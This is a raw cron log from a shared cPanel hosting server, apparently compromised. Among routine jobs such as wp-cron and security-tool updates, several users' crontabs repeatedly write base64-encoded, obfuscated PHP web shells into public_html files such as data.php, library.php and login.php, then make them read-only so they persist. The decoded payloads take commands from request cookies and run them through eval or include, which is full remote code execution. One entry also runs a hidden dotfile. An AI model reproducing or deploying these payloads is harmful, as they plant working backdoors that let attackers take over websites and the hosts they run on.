"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:46:01 medusa CROND[25254]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 07:46:01 medusa CROND[25255]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 07:46:01 medusa CROND[25258]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:46:01 medusa CROND[25256]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:46:01 medusa CROND[25259]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:46:01 medusa CROND[25260]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:46:01 medusa CROND[25266]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 07:46:01 medusa CROND[25268]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:46:01 medusa CROND[25270]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 07:46:01 medusa CROND[25271]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:46:01 medusa CROND[25269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:47:01 medusa CROND[14307]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:47:01 medusa CROND[14308]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 07:47:01 medusa CROND[14310]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:47:01 medusa CROND[14313]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:47:01 medusa CROND[14314]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:47:01 medusa CROND[14316]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:47:01 medusa CROND[14321]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:47:01 medusa CROND[14322]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:47:01 medusa CROND[14323]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:47:01 medusa CROND[14318]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:47:01 medusa CROND[14325]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:47:01 medusa CROND[14326]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:47:01 medusa CROND[14329]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  1 07:48:01 medusa CROND[3878]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:48:01 medusa CROND[3880]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:48:01 medusa CROND[3881]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:48:01 medusa CROND[3882]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:48:01 medusa CROND[3883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
